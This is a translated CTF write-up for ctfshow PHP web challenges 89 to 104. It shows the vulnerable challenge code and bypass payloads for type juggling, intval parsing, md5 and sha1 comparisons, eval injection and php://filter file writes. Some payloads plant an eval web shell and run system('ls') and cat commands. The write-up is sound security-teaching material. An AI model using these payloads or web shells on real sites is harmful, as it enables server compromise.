Ctfshow getting started with web PHP features (web89-web104)

catalogue

web89

web90

web91

web92

web93

web94

web95

web90, 92-95 summary

web96

web97

expand

web98

web99

web100

web101

web102

web103

web104

web89

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
include("flag.php");
highlight_file(__FILE__);
​
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 

Obviously, let's get to pass in a num parameter, and then num and digital output flag, but 0-9 in the source code is prohibited

At this point, we can use the array method to bypass

?num[]=1

because

preg_match()return pattern Number of matches. Its value will be 0 times (mismatch) or 1 times because preg_match()The search will stop after the first match. You can use an array

       **intval()** Cannot be used for object,Otherwise, it will produce  **`E_NOTICE`** Error and return 1

The array is an object, and then a number of 1 will be returned

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

Obviously, we have two ways

?num=4476a//Weak type
?num=0x117c//hexadecimal

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

There are two matches here

preg_match('/^php$/im', $a)//Matching multiple lines of php
preg_match('/^php$/i', $a)//Match php on the first line

All this means that matching multiple lines requires php, and then matching the first line requires no php

payload:

?cmd=123%0aphp    //%0a is a newline character

web92

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com
​
*/
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 
?num=0x117c
?num=010574
?num=4476e123,special e Represents scientific counting, in intval()Function read e It will stop when it's too late

Hexadecimal and octal are bypassed

web93

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com
​
*/
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

When more letters are disabled in judgment, hexadecimal and scientific counting are banned, and octal can still be used

?num=010574

web94

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com
​
*/
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

There are more functions this time

if(!strpos($num, "0"))If it does not match 0, the statement will be executed
strpos The function returns the position of the first occurrence of a string in another string. If the string is not found, it returns FALSE. 

So we need to make the incoming parameter have 0 and return 1

web95

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
​
*/
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

This is not two equal signs, so it is not a weak type. Then we can try to use octal and hexadecimal, but the letters are forbidden, so we can use hexadecimal. Then add a + or space before the value. The intval function deletes the beginning of a space

?num=+010574
?num= 010574

web90, 92-95 summary

The source code of the topic is basically similar, but some places, such as letters, numbers and a special function, will be disabled

intval()
Note:
If the string includes"0x"Prefix of, using hexadecimal
 If the string is"0"Start with octal, everything else is decimal

The general payload is as follows

decimal point(Contains 0)//?num=4476.0
 Scientific counting method//?num=4476e0
 hexadecimal//?num=0x117c
 octal number system//?num=010574
 octal number system+Space//?num= 010574
 Sign//?num=+4476.0

web96

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com
​
*/
​
​
highlight_file(__FILE__);
​
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
​
​
}

routing problem

/var/www/html/flag.php              Absolute path
./flag.php                          Relative path
php://Filter / resource = flag.php pseudo protocol 

web97

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com
​
*/
​
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

Obviously, to make a and b not equal, and then the values of md5 equal, the simplest can be an array

?a[]=1&b[]=2

expand

md5

Weak comparison
$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5 Weak comparison, 0 e The beginning will be recognized as scientific notation, and the results are all 0, so just find two md5 0 after e Start with 0 e The following values are numeric values.
payload: a=QNKCDZO&b=240610708
Strong comparison
$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
At this time, we need to find two real ones md5 Same value data
​
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

web98

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com
​
*/
​
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
​
?> 

Main knowledge points of the problem

ternary operator

if($_GET)
   $_GET=$_POST
else
   $_GET='flag'
if($_GET['flag']=='flag')
   $_GET=&$_COOKIE
else
   $_GET='flag'
if($_GET['flag']=='flag')
   $_GET=&$_SERVER
else
   $_GET='flag'

So we can get any one and then post it to HTTP_FLAG=flag

payload get: 1=1 post: HTTP_FLAG=flag

web99

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com
​
*/
​
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
​
?>

in_array weak type comparison

$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
The returned is true
​
$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
return false

file_put_contents function

file_put_contents(file,data,mode,context)
file: Specify the file to be written
data: Data written to file
mode: How to open/write file(FILE_USE_INCLUDE_PATH,FILE_APPEND,LOCK_EX)
context:File handle environment

payload

get: ?n=1.php post content=<?php eval($_POST[1]);?>

At this point, you write to 1.php, and then open 1.php

post 1=system('ls');
1=system('cat flag36d.php');

web100

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com
​
*/
​
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
​
​
?>

In the first part

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
<?php
$a=true and false and false;
var_dump($a);  return true
​
$a=true && false && false;
var_dump($a);  return false

So as long as v1 is a number, v0 is true

Part II

v2 No;

v3 There should be;

payload

v1=1&v2=var_dump($ctfshow)/*&v3=*/;
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
v1=1&v2=-system('ls')-&v3=-1;
v1=1&v2=echo&v3=;system('ls');

web101

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com
​
*/
​
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
​
?> 

The code is similar to web100, but v2 and v3 filter out a lot of things

We can use the reflection class to construct echo new ReflectionClass('ctfshow ');

?v1=1&v2=echo new ReflectionClass&v3=;

ReflectionClass class

ReflectionClass Class reports information about a class.

web102

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 20:59:43
​
*/
​
​
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
​
​
?>

call_user_func function

Call the first parameter as a callback function

First idea:

In the php5 environment, hexadecimal can be recognized, that is, if it is passed in

v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>Hexadecimal)

It can also be recognized as a number to bypass

payload

get:v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin

But this question cannot be used because the environment of this question is php7,

var_dump(is_numeric("0x3c3f706870206576616c28245f504f53545b315d293b3f3e"));  
Next return false

The second idea

To make v2 all digital, consider writing using pseudo protocol

get:v2=?&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin

Now is to find a code base64, and then convert it into hexadecimal to all numbers

5044383959474e6864434171594473
$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //The equal sign only plays the role of filling in base64 and does not affect the specific data content. It is directly removed with =, and the content decoded by base64 with = isthe same.                 
Output 5044383959474 e6864434171594473
 belt e It will be considered a scientific counting method, which can be passed is_numeric testing.

payload

get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

Topic summary:

First, let's pass in the v1, v2 and v3 parameters, and then v2 or v3 will be executed only when they are numbers. Later, in the if statement, the variable s is v2, intercept the characters from the third, and the variable str is v1 to call the function. At this time, we can use the hex2bin function, and the characters will be converted from hexadecimal to ASCII characters

web103

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 21:03:24
​
*/
​
​
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}
​
?> 

if(!preg_match("/.p.h.p./i",$str)) is added to the source code in the previous question

get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

web104

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20
​
*/
​
​
highlight_file(__FILE__);
include("flag.php");
​
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
​
​
​
?> 

sha1 function

Calculates the of the string sha1 Hash value

payload:

POST v1=1
GET  ?v2=1

Unfinished to be continued~~~

ah 😊😊😊😊😁😁😁😁

Tags: PHP security

Posted on Tue, 23 Nov 2021 17:37:32 -0500 by fonster_mox